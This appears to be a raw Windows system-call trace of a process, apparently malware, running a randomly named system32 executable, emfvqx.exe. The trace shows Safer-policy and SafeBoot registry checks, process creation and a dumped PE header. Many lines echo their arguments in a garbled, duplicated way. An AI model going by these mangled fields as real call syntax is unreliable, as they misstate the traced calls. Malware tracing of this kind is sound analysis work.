 01528  1744   NtQueryValueKey  (192,  (192, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\345\0\0\0\0\0\0\0"}, 20, ) , Partial, 280, ... TitleIdx=0, Type=11, Data= (192, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="\345\0\0\0\0\0\0\0"}, 20, ) }, 20, ) == 0x0
 01529  1744   NtQueryValueKey  (192,  (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01530  1744   NtClose  (192, ... ) == 0x0
 01531  1744   NtEnumerateKey  (188, 4, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name= (188, 4, Basic, 280, ... {LastWrite={0x38ab3b74,0x1c74d7e}, TitleIdx=0, Name="{dc971ee5-44eb-4fe4-ae2e-b91490411bfc}"}, 92, ) }, 92, ) == 0x0
 01532  1744   NtOpenKey  (0x20019, {24, 188, 0x40, 0, 0,  (0x20019, {24, 188, 0x40, 0, 0, "{dc971ee5-44eb-4fe4-ae2e-b91490411bfc}"}, ... 192, ) }, ... 192, ) == 0x0
 01533  1744   NtQueryValueKey  (192,  (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="8k\10_\204\354\366i\323k\225j"\300\36\200"}, 28, ) , Partial, 280, ... TitleIdx=0, Type=3, Data= (192, "ItemData", Partial, 280, ... TitleIdx=0, Type=3, Data="8k\10_\204\354\366i\323k\225j"\300\36\200"}, 28, ) \300\36\200"}, 28, ) == 0x0
 01534  1744   NtQueryValueKey  (192,  (192, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "HashAlg", Partial, 280, ... TitleIdx=0, Type=4, Data="\3\200\0\0"}, 16, ) }, 16, ) == 0x0
 01535  1744   NtQueryValueKey  (192,  (192, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="r\1\0\0\0\0\0\0"}, 20, ) , Partial, 280, ... TitleIdx=0, Type=11, Data= (192, "ItemSize", Partial, 280, ... TitleIdx=0, Type=11, Data="r\1\0\0\0\0\0\0"}, 20, ) }, 20, ) == 0x0
 01536  1744   NtQueryValueKey  (192,  (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 280, ... TitleIdx=0, Type=4, Data= (192, "SaferFlags", Partial, 280, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01537  1744   NtClose  (192, ... ) == 0x0
 01538  1744   NtEnumerateKey  (188, 5, Basic, 280, ... ) == STATUS_NO_MORE_ENTRIES
 01539  1744   NtClose  (188, ... ) == 0x0
 01540  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01541  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01542  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01543  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01544  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01545  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01546  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01547  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01548  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01549  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01550  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01551  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01552  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01553  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01554  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01555  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01556  1744   NtClose  (188, ... ) == 0x0
 01557  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01558  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01559  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01560  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01561  1744   NtClose  (188, ... ) == 0x0
 01562  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01563  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01564  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01565  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01566  1744   NtClose  (188, ... ) == 0x0
 01567  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01568  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01569  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01570  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01571  1744   NtClose  (188, ... ) == 0x0
 01572  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01573  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01574  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01575  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01576  1744   NtClose  (188, ... ) == 0x0
 01577  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01578  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01579  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01580  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01581  1744   NtClose  (188, ... ) == 0x0
 01582  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\4096\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01583  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01584  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01585  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01586  1744   NtClose  (188, ... ) == 0x0
 01587  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01588  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01589  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01590  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01591  1744   NtClose  (188, ... ) == 0x0
 01592  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01593  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01594  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01595  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01596  1744   NtClose  (188, ... ) == 0x0
 01597  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\65536\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01598  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01599  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01600  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01601  1744   NtClose  (188, ... ) == 0x0
 01602  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01603  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01604  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01605  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01606  1744   NtClose  (188, ... ) == 0x0
 01607  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01608  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01609  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01610  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01611  1744   NtClose  (188, ... ) == 0x0
 01612  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\131072\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01613  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01614  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01615  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01616  1744   NtClose  (188, ... ) == 0x0
 01617  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01618  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01619  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01620  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01621  1744   NtClose  (188, ... ) == 0x0
 01622  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Hashes"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01623  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01624  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01625  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01626  1744   NtClose  (188, ... ) == 0x0
 01627  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\UrlZones"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01628  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 188, ) }, ... 188, ) == 0x0
 01629  1744   NtQueryValueKey  (188,  (188, "DefaultLevel", Full, 524, ... TitleIdx=0, Type=4, Name="DefaultLevel", Data="\0\0\4\0"}, 48, ) , Full, 524, ... TitleIdx=0, Type=4, Name= (188, "DefaultLevel", Full, 524, ... TitleIdx=0, Type=4, Name="DefaultLevel", Data="\0\0\4\0"}, 48, ) , Data= (188, "DefaultLevel", Full, 524, ... TitleIdx=0, Type=4, Name="DefaultLevel", Data="\0\0\4\0"}, 48, ) }, 48, ) == 0x0
 01630  1744   NtClose  (188, ... ) == 0x0
 01631  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01632  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 188, ) == 0x0
 01633  1744   NtQueryInformationToken  (188, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01634  1744   NtClose  (188, ... ) == 0x0
 01635  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01636  1744   NtOpenThreadToken  (-2, 0x8, 0, ... ) == STATUS_NO_TOKEN
 01637  1744   NtOpenProcessToken  (-1, 0xa, ... 188, ) == 0x0
 01638  1744   NtDuplicateToken  (188, 0xc, {24, 0, 0x0, 0, 1240744, 0x0}, 0, 2, ... 192, ) == 0x0
 01639  1744   NtClose  (188, ... ) == 0x0
 01640  1744   NtAccessCheck  (1372592, 192, 0x1, 1240820, 1240872, 56, 1240852, ... (0x1), ) == 0x0
 01641  1744   NtClose  (192, ... ) == 0x0
 01642  1744   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 192, ) }, ... 192, ) == 0x0
 01643  1744   NtQueryValueKey  (192,  (192, "PolicyScope", Partial, 80, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 80, ... TitleIdx=0, Type=4, Data= (192, "PolicyScope", Partial, 80, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 01644  1744   NtClose  (192, ... ) == 0x0
 01645  1744   NtOpenSymbolicLinkObject  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\??\C:"}, ... 192, ) }, ... 192, ) == 0x0
 01646  1744   NtQuerySymbolicLinkObject  (192, ...  (192, ... "\Device\HarddiskVolume1", 48, ) , 48, ) == 0x0
 01647  1744   NtClose  (192, ... ) == 0x0
 01648  1744   NtQueryVolumeInformationFile  (132, 1238576, 8, Device, ... {status=0x0, info=8}, ) == 0x0
 01649  1744   NtQueryInformationFile  (132, 1238692, 528, Name, ... {status=0x0, info=60}, ) == 0x0
 01650  1744   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01651  1744   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01652  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\emfvqx.exe"}, 1237864, ... ) }, 1237864, ... ) == 0x0
 01653  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\"}, 3, 16417, ... 192, {status=0x0, info=1}, ) }, 3, 16417, ... 192, {status=0x0, info=1}, ) == 0x0
 01654  1744   NtQueryDirectoryFile  (192, 0, 0, 0, 1237292, 616, BothDirectory, 1,  (192, 0, 0, 0, 1237292, 616, BothDirectory, 1, "WINDOWS", 0, ... {status=0x0, info=108}, ) , 0, ... {status=0x0, info=108}, ) == 0x0
 01655  1744   NtClose  (192, ... ) == 0x0
 01656  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\"}, 3, 16417, ... 192, {status=0x0, info=1}, ) }, 3, 16417, ... 192, {status=0x0, info=1}, ) == 0x0
 01657  1744   NtQueryDirectoryFile  (192, 0, 0, 0, 1237292, 616, BothDirectory, 1,  (192, 0, 0, 0, 1237292, 616, BothDirectory, 1, "system32", 0, ... {status=0x0, info=110}, ) , 0, ... {status=0x0, info=110}, ) == 0x0
 01658  1744   NtClose  (192, ... ) == 0x0
 01659  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\"}, 3, 16417, ... 192, {status=0x0, info=1}, ) }, 3, 16417, ... 192, {status=0x0, info=1}, ) == 0x0
 01660  1744   NtQueryDirectoryFile  (192, 0, 0, 0, 1237292, 616, BothDirectory, 1,  (192, 0, 0, 0, 1237292, 616, BothDirectory, 1, "emfvqx.exe", 0, ... {status=0x0, info=114}, ) , 0, ... {status=0x0, info=114}, ) == 0x0
 01661  1744   NtClose  (192, ... ) == 0x0
 01662  1744   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01663  1744   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01664  1744   NtQueryInformationFile  (132, 1240732, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 01665  1744   NtCreateSection  (0xf0005, 0x0, {187348, 0}, 2, 134217728, 132, ... 192, ) == 0x0
 01666  1744   NtMapViewOfSection  (192, -1, (0x0), 0, 0, {0, 0}, 187348, 1, 0, 2, ... (0x3c0000), {0, 0}, 188416, ) == 0x0
 01667  1744   NtClose  (192, ... ) == 0x0
 01668  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01669  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 192, ) == 0x0
 01670  1744   NtQueryInformationToken  (192, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01671  1744   NtClose  (192, ... ) == 0x0
 01672  1744   NtOpenKey  (0x20019, {24, 0, 0x640, 0, 0,  (0x20019, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... 192, ) }, ... 192, ) == 0x0
 01673  1744   NtOpenKey  (0x20019, {24, 192, 0x40, 0, 0,  (0x20019, {24, 192, 0x40, 0, 0, "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"}, ... 188, ) }, ... 188, ) == 0x0
 01674  1744   NtClose  (192, ... ) == 0x0
 01675  1744   NtQueryValueKey  (188,  (188, "Cache", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_BUFFER_OVERFLOW
 01676  1744   NtQueryValueKey  (188,  (188, "Cache", Partial, 174, ... TitleIdx=0, Type=1, Data="C\0:\0\\0D\0o\0c\0u\0m\0e\0n\0t\0s\0 \0a\0n\0d\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0M\0a\0r\0t\0i\0m\0 \0C\0a\0r\0b\0o\0n\0e\0\\0L\0o\0c\0a\0l\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0T\0e\0m\0p\0o\0r\0a\0r\0y\0 \0I\0n\0t\0e\0r\0n\0e\0t\0 \0F\0i\0l\0e\0s\0\0\0"}, 174, ) , Partial, 174, ... TitleIdx=0, Type=1, Data= (188, "Cache", Partial, 174, ... TitleIdx=0, Type=1, Data="C\0:\0\\0D\0o\0c\0u\0m\0e\0n\0t\0s\0 \0a\0n\0d\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0M\0a\0r\0t\0i\0m\0 \0C\0a\0r\0b\0o\0n\0e\0\\0L\0o\0c\0a\0l\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0T\0e\0m\0p\0o\0r\0a\0r\0y\0 \0I\0n\0t\0e\0r\0n\0e\0t\0 \0F\0i\0l\0e\0s\0\0\0"}, 174, ) }, 174, ) == 0x0
 01677  1744   NtClose  (188, ... ) == 0x0
 01678  1744   NtUnmapViewOfSection  (-1, 0x3c0000, ... ) == 0x0
 01679  1744   NtAllocateVirtualMemory  (-1, 0, 0, 4096, 8192, 4, ... 3932160, 4096, ) == 0x0
 01680  1744   NtAllocateVirtualMemory  (-1, 3932160, 0, 4096, 4096, 4, ... 3932160, 4096, ) == 0x0
 01681  1744   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 188, ) }, ... 188, ) == 0x0
 01682  1744   NtQueryValueKey  (188,  (188, "LogFileName", Partial, 536, ... ) , Partial, 536, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01683  1744   NtClose  (188, ... ) == 0x0
 01684  1744   NtOpenKey  (0x3, {24, 0, 0x40, 0, 0,  (0x3, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01685  1744   NtQueryInformationToken  (184, User, 128, ... {token info, class 1, size 36}, 36, ) == 0x0
 01686  1744   NtQueryInformationToken  (184, 15, 4, ... {token info, class 15, size 4}, 4, ) == 0x0
 01687  1744   NtClose  (184, ... ) == 0x0
 01688  1744   NtQuerySection  (172, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 01689  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\emfvqx.exe"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01690  1744   NtQuerySystemInformation  (71, 4, ... {system info, class 71, size 4}, 0x0, ) == 0x0
 01691  1744   NtCreateProcessEx  (1242656, 2035711, 0, -1, 0, 172, 0, 0, 0, ... ) == 0x0
 01692  1744   NtQueryInformationProcess  (184, Basic, 24, ... {ExitStatus=0x103,PebBaseAddress=0x7ffdc000,AffinityMask=0x1,BasePriority=8,Pid=808,ParentPid=1736,}, 0x0, ) == 0x0
 01693  1744   NtReadVirtualMemory  (184, 0x7ffdc008, 4, ...  (184, 0x7ffdc008, 4, ... "\0\0B1", 0x0, ) , 0x0, ) == 0x0
 01694  1744   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\emfvqx.exe.Manifest"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01695  1744   NtAllocateVirtualMemory  (-1, 1376256, 0, 8192, 4096, 4, ... 1376256, 8192, ) == 0x0
 01696  1744   NtReadVirtualMemory  (184, 0x31420000, 4096, ...  (184, 0x31420000, 4096, ... "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0fn\0\0\330\0\0\0\16\37\272\16\0\264\11\315!\270\1L\315!This program cannot be run in DOS mode.\15\15\12$\0\0\0\0\0\0\0I\3538\210\15\212V\333\15\212V\333\15\212V\333\216\226X\333\17\212V\333\345\225R\333\17\212V\333\15\212V\333\12\212V\333\15\212W\333[\212V\333o\225E\333\4\212V\333\345\225]\333\7\212V\333Rich\15\212V\333\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0PE\0\0L\1\4\0\310Y\330@\0\0\0\0\0\0\0\0\340\0\17\1\13\1\6\0\0 